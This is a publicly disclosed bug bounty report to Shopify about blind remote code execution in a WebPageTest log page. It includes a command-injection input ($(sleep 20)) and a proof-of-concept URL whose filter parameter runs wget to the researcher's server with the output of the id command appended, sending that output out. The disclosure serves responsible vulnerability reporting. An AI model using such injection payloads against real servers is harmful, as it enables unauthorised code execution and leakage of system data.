Shopify · Report #73567

Attention! Remote Code Execution at http://wpt.ec2.shopify.com/

Validstatus

28upvotes

16 Jul 2015disclosed

Summary

This vulnerability was found by reviewing source code of https://github.com/WPO-Foundation/webpagetest/blob/master/www/testlog.php

How it was found

Hi,

I just found a remote code execution bug at http://wpt.ec2.shopify.com/

Reproduction

Open
In the text area enter $(sleep 20) and hit "Update List"
The result should come out at around 20 seconds, there-by executing sleep command

POC: http://wpt.ec2.shopify.com/testlog.php?days=1&filter=%24%28%60wget+sandbox.prakharprasad.com%2F%24%28id%29%60%29

I've attached a video for this RCE bug, in which I had executed id command for verification purpose on the server and sent back the result to my Apache logs, as the RCE here is blind.

Regards, Prakhar Prasad

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original